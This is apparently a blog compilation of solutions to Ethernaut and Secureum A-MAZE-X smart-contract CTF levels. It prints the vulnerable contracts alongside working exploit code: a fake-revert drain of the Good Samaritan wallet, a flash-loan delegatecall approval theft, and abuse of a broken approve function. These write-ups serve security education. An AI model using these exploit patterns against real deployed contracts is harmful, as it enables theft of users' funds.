Ethernaut - 18. Magic Number

Difficulty: πŸŒ•πŸŒ•πŸŒ•πŸŒ‘πŸŒ‘

To solve this level, you only need to provide the Ethernaut with a Solver, a contract that responds to whatIsTheMeaningOfLife() with the right number.
Easy right? Well… there’s a catch.
The solver’s code needs to be really tiny. Really reaaaaaallly tiny. Like freakin’ really really itty-bitty tiny: 10 opcodes at most.
Hint: Perhaps its time to leave the comfort of the Solidity compiler momentarily, and build this one by hand O_o. That’s right: Raw EVM bytecode.
Good luck!

Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract MagicNum {

  address public solver;

  constructor() public {}

  function setSolver(address _solver) public {
    solver = _solver;
  }

  /*
    ____________/\\\_______/\\\\\\\\\_____        
     __________/\\\\\_____/\\\///////\\\___       
      ________/\\\/\\\____\///______\//\\\__      
       ______/\\\/\/\\\______________/\\\/___     
        ____/\\\/__\/\\\___________/\\\//_____    
         __/\\\\\\\\\\\\\\\\_____/\\\//________   
          _\///////////\\\//____/\\\/___________  
           ___________\/\\\_____/\\\\\\\\\\\\\\\_ 
            ___________\///_____\///////////////__
  */
}

Writeup

  1. Get new instance.
  2. Create a new contract
     // SPDX-License-Identifier: MIT
     pragma solidity ^0.6.0;
    
     contract MagicNumberCracker{
         constructor() public{
             assembly{
                 mstore(0x00, 0x602a60005260206000f3)
                 return(0x16, 0x0a)
             }
         }
     }
    

    How 0x602a60005260206000f3 come from ?

    1. PUSH(0x2a) –> 0x602a (Push 42 onto the stack)
    2. PUSH(0x00) –> 0x6000 (Push memory slot 00 to stack)
    3. MSTORE –> 0x52 (Store 42 to memory slot 00)
    4. PUSH(0x20) –> 0x6020 (Memory slot size is 32 bytes)
    5. PUSH(0x80) –> 0x6000 (Value is stored at moemory slot 00)
    6. RETURN –> 0xf3 (Return value which is stored at memory 00 with sizeof 32 bytes)
  3. Compile and Deploy.
  4. Set Solver :
    
     await contract.setSolver('MAGICNUMBERCRACKER_CONTRACT_ADDRESS')
    
    
  5. Submit instance ΞΎ( βœΏοΌžβ—‘β›)

Reference

Ethernaut - 27. Good Samaritan

Difficulty: πŸŒ•πŸŒ•πŸŒ•πŸŒ‘πŸŒ‘

This instance represents a Good Samaritan that is wealthy and ready to donate some coins to anyone requesting it.
Would you be able to drain all the balance from his Wallet?
Things that might help:

Contract

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

import "openzeppelin-contracts-08/utils/Address.sol";

contract GoodSamaritan {
    Wallet public wallet;
    Coin public coin;

    constructor() {
        wallet = new Wallet();
        coin = new Coin(address(wallet));

        wallet.setCoin(coin);
    }

    function requestDonation() external returns(bool enoughBalance){
        // donate 10 coins to requester
        try wallet.donate10(msg.sender) {
            return true;
        } catch (bytes memory err) {
            if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
                // send the coins left
                wallet.transferRemainder(msg.sender);
                return false;
            }
        }
    }
}

contract Coin {
    using Address for address;

    mapping(address => uint256) public balances;

    error InsufficientBalance(uint256 current, uint256 required);

    constructor(address wallet_) {
        // one million coins for Good Samaritan initially
        balances[wallet_] = 10**6;
    }

    function transfer(address dest_, uint256 amount_) external {
        uint256 currentBalance = balances[msg.sender];

        // transfer only occurs if balance is enough
        if(amount_ <= currentBalance) {
            balances[msg.sender] -= amount_;
            balances[dest_] += amount_;

            if(dest_.isContract()) {
                // notify contract 
                INotifyable(dest_).notify(amount_);
            }
        } else {
            revert InsufficientBalance(currentBalance, amount_);
        }
    }
}

contract Wallet {
    // The owner of the wallet instance
    address public owner;

    Coin public coin;

    error OnlyOwner();
    error NotEnoughBalance();

    modifier onlyOwner() {
        if(msg.sender != owner) {
            revert OnlyOwner();
        }
        _;
    }

    constructor() {
        owner = msg.sender;
    }

    function donate10(address dest_) external onlyOwner {
        // check balance left
        if (coin.balances(address(this)) < 10) {
            revert NotEnoughBalance();
        } else {
            // donate 10 coins
            coin.transfer(dest_, 10);
        }
    }

    function transferRemainder(address dest_) external onlyOwner {
        // transfer balance left
        coin.transfer(dest_, coin.balances(address(this)));
    }

    function setCoin(Coin coin_) external onlyOwner {
        coin = coin_;
    }
}

interface INotifyable {
    function notify(uint256 amount) external;
}

Writeup

The requestDonation() in the GoodSamaritan contract will call wallet.donate10(msg.sender) if there are enough coins(>10) in the wallet. If coins in the wallet less then 10, it will revert NotEnoughBalance error and transfer all remaining coins in the wallet.

  1. Get new instance.
  2. Create a new contract.
     // SPDX-License-Identifier: MIT
     pragma solidity >=0.8.0 <0.9.0;
    
     interface GoodSamaritan {
         function requestDonation() external returns(bool enoughBalance);
     }
    
     contract GoodSamaritanAttacker {
    
         error NotEnoughBalance();
    
         function attack(address _goodsamaritan) public {
             GoodSamaritan(_goodsamaritan).requestDonation(); 
         }
    
         function notify(uint256 _amount) public pure {
             if(_amount==10){
                 revert NotEnoughBalance();
             }
         }
     }
    
  3. Get GoodSamaritan contract address by typing instance in the chrome console. For example:
    
     instance
     // '0xa273e96Ae56e2cAb404a3221d5356Af4cdd67440'
    
    
  4. Call the attack method in GoodSamaritanAttacker contract with the contract address we get above as a parameter.
  5. Submit instance ΞΎ( βœΏοΌžβ—‘β›)

Secureum A-MAZE-X Stanford - Challenge 1

Secureum A-MAZE-X Stanford Github repo

Challenge 1: What a nice Lender Pool!

Secureum has raised a lot of Ether and decided to buy a bunch of InSecureumTokens ($ISEC) in order to make them available to the community via flash loans. This is made possible by means of the InSecureumLenderPool contract.

πŸ“Œ Upon deployment, the InSecureumToken contract mints an initial supply of 10 $ISEC to the contract deployer.

πŸ“Œ The InSecureumLenderPool contract operates with $ISEC.

πŸ“Œ The contract deployer transfers all of their $ISEC to the InSecureumLenderPool contract.

πŸ“Œ The idea is that anyone can deposit $ISECs to enlarge the pool’s resources.

Will you be able to steal the $ISECs from the InSecureumLenderPool? 😈😈😈

Contract

InSecureumLenderPool.sol ( The contracts that we will hack. )

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.14;

import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {Address} from "@openzeppelin/contracts/utils/Address.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";

// Some ideas for this challenge were taken from damn vulnerable defi
contract InSecureumLenderPool {
    using Address for address;
    using SafeERC20 for IERC20;

    /// @dev Token contract address to be used for lending.
    //IERC20 immutable public token;
    IERC20 public token;
    /// @dev Internal balances of the pool for each user.
    mapping(address => uint) public balances;

    // flag to notice contract is on a flashloan
    bool private _flashLoan;

    /// @param _token Address of the token to be used for the lending pool.
    constructor (address _token) {
        token = IERC20(_token);
    }

    /// @dev Deposit the given amount of tokens to the lending 
    ///      pool. This will add _amount to balances[msg.sender] and
    ///      transfer _amount tokens to the lending pool.
    /// @param _amount Amount of token to deposit in the lending pool
    function deposit(uint256 _amount) external {
        require(!_flashLoan, "Cannot deposit while flash loan is active");
        token.safeTransferFrom(msg.sender, address(this), _amount);
        balances[msg.sender] += _amount;
    }
    
    /// @dev Withdraw the given amount of tokens from the lending pool.
    function withdraw(uint256 _amount) external {
        require(!_flashLoan, "Cannot withdraw while flash loan is active");
        balances[msg.sender] -= _amount;
        token.safeTransfer(msg.sender, _amount);
    }   

    /// @dev Give borrower all the tokens to make a flashloan.
    ///      For this with get the amount of tokens in the lending pool before, then we give
    ///      control to the borrower to make the flashloan. After the borrower makes the flashloan
    ///      we check if the lending pool has the same amount of tokens as before.
    /// @param borrower The contract that will have access to the tokens
    /// @param data Function call data to be used by the borrower contract.
    function flashLoan(
        address borrower,
        bytes calldata data
    )
        external
    {
        uint256 balanceBefore = token.balanceOf(address(this));
        
        _flashLoan = true;
        
        borrower.functionDelegateCall(data);

        _flashLoan = false;

        uint256 balanceAfter = token.balanceOf(address(this));
        require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
    }
}

InSecureumToken.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.14;

import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract InSecureumToken is ERC20 {

    // Decimals are set to 18 by default in `ERC20`
    constructor(uint256 _supply) ERC20("InSecureumToken", "ISEC") {
        _mint(msg.sender, _supply);
    }

}

Writeup

  1. Finish the Exploit contract in test/Challenge1.t.sol.
     contract Exploit {
         function flashloanCallback(IERC20 token, address testAddress) public {
             token.approve(testAddress, type(uint256).max);
         }
     }
    
  2. Add below code to testChallenge function.
     Exploit exploit = new Exploit();
    
     target.flashLoan(
         address(exploit),
         abi.encodeWithSelector(
             Exploit.flashloanCallback.selector,
             token, 
             player
         )
     );
    
     IERC20(token).transferFrom(address(target), player, IERC20(token).balanceOf(address(target)));
    
    
  3. Run forge test --match-path test/Challenge1.t.sol

Reference

Function selector Ventral.digital

Secureum A-MAZE-X Stanford - Challenge 0

Secureum A-MAZE-X Stanford Github repo

Challenge 0: VitaToken seems safe, right?

Let’s begin with a simple warm up. Our beloved Vitalik is the proud owner of 100 $VTLK, which is a token that follows the ERC20 token standard. Or at least that is what it seems… πŸ˜‰πŸ˜‰πŸ˜‰
πŸ“Œ Upon deployment, the VToken contract mints 100 $VTLK to Vitalik’s address.
Is there a way for you to steal those tokens from him? 😈😈😈

πŸ—’οΈ Concepts you should be familiar with (spoilers!)

Contract

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.14;

import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract VToken is ERC20 {

    // Decimals are set to 18 by default in `ERC20`
    constructor() ERC20("VToken", "VTLK") {
      address vitalik = 0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045;   
      _mint(vitalik, 100 ether);
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address owner, address spender, uint256 amount) public returns (bool) {
        _approve(owner, spender, amount);
        return true;
    }
}

Writeup

This level is pretty easy. Check out VToken contract, there is the approve function.

  1. Add below code to Challenge0.t.sol to complete the level.
     VToken(token).approve(vitalik, player, type(uint256).max);
     IERC20(token).transferFrom(vitalik, player, IERC20(token).balanceOf(vitalik));
    
  2. Run forge test --match-path test/Challenge0.t.sol.

Ethernaut - 26. DoubleEntryPoint

Difficulty: πŸŒ•πŸŒ•πŸŒ‘πŸŒ‘πŸŒ‘

Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

interface DelegateERC20 {
  function delegateTransfer(address to, uint256 value, address origSender) external returns (bool);
}

interface IDetectionBot {
    function handleTransaction(address user, bytes calldata msgData) external;
}

interface IForta {
    function setDetectionBot(address detectionBotAddress) external;
    function notify(address user, bytes calldata msgData) external;
    function raiseAlert(address user) external;
}

contract Forta is IForta {
  mapping(address => IDetectionBot) public usersDetectionBots;
  mapping(address => uint256) public botRaisedAlerts;

  function setDetectionBot(address detectionBotAddress) external override {
      require(address(usersDetectionBots[msg.sender]) == address(0), "DetectionBot already set");
      usersDetectionBots[msg.sender] = IDetectionBot(detectionBotAddress);
  }

  function notify(address user, bytes calldata msgData) external override {
    if(address(usersDetectionBots[user]) == address(0)) return;
    try usersDetectionBots[user].handleTransaction(user, msgData) {
        return;
    } catch {}
  }

  function raiseAlert(address user) external override {
      if(address(usersDetectionBots[user]) != msg.sender) return;
      botRaisedAlerts[msg.sender] += 1;
  } 
}

contract CryptoVault {
    address public sweptTokensRecipient;
    IERC20 public underlying;

    constructor(address recipient) public {
        sweptTokensRecipient = recipient;
    }

    function setUnderlying(address latestToken) public {
        require(address(underlying) == address(0), "Already set");
        underlying = IERC20(latestToken);
    }

    /*
    ...
    */

    function sweepToken(IERC20 token) public {
        require(token != underlying, "Can't transfer underlying token");
        token.transfer(sweptTokensRecipient, token.balanceOf(address(this)));
    }
}

contract LegacyToken is ERC20("LegacyToken", "LGT"), Ownable {
    DelegateERC20 public delegate;

    function mint(address to, uint256 amount) public onlyOwner {
        _mint(to, amount);
    }

    function delegateToNewContract(DelegateERC20 newContract) public onlyOwner {
        delegate = newContract;
    }

    function transfer(address to, uint256 value) public override returns (bool) {
        if (address(delegate) == address(0)) {
            return super.transfer(to, value);
        } else {
            return delegate.delegateTransfer(to, value, msg.sender);
        }
    }
}

contract DoubleEntryPoint is ERC20("DoubleEntryPointToken", "DET"), DelegateERC20, Ownable {
    address public cryptoVault;
    address public player;
    address public delegatedFrom;
    Forta public forta;

    constructor(address legacyToken, address vaultAddress, address fortaAddress, address playerAddress) public {
        delegatedFrom = legacyToken;
        forta = Forta(fortaAddress);
        player = playerAddress;
        cryptoVault = vaultAddress;
        _mint(cryptoVault, 100 ether);
    }

    modifier onlyDelegateFrom() {
        require(msg.sender == delegatedFrom, "Not legacy contract");
        _;
    }

    modifier fortaNotify() {
        address detectionBot = address(forta.usersDetectionBots(player));

        // Cache old number of bot alerts
        uint256 previousValue = forta.botRaisedAlerts(detectionBot);

        // Notify Forta
        forta.notify(player, msg.data);

        // Continue execution
        _;

        // Check if alarms have been raised
        if(forta.botRaisedAlerts(detectionBot) > previousValue) revert("Alert has been triggered, reverting");
    }

    function delegateTransfer(
        address to,
        uint256 value,
        address origSender
    ) public override onlyDelegateFrom fortaNotify returns (bool) {
        _transfer(origSender, to, value);
        return true;
    }
}

Writeup

  1. Get new instance.
  2. Get Vault address.
    
     await contract.cryptoVault()
    
    
  3. Create a contract.
     // SPDX-License-Identifier: MIT
     pragma solidity ^0.6.0;
    
     interface IDetectionBot {
         function handleTransaction(address user, bytes calldata msgData) external;
     }
    
     interface IForta {
         function setDetectionBot(address detectionBotAddress) external;
         function notify(address user, bytes calldata msgData) external;
         function raiseAlert(address user) external;
     }
    
     contract MyDetectionBot is IDetectionBot {
         address constant VAULT = YOUR_VAULT_ADDRESS;
    
         function handleTransaction(address user, bytes calldata msgData) override external {
             // The first four bytes is the hashed signature of the function.
             // The rest of bytes are hashes of the arguments being passed to the function.
             (,,address origSender) = abi.decode(msgData[4:], (address, uint256, address));
    
             if (origSender == VAULT) {
                 IForta(msg.sender).raiseAlert(user);
             }
         }
     }
    
  4. Use MyDetectionBot address as parameter to call setDetectionBot method in Forta contract. You can find Forta contract address by call below method in chrome console:
    
     await contract.forta()
    
    
  5. Submit instance ΞΎ( βœΏοΌžβ—‘β›)

Reference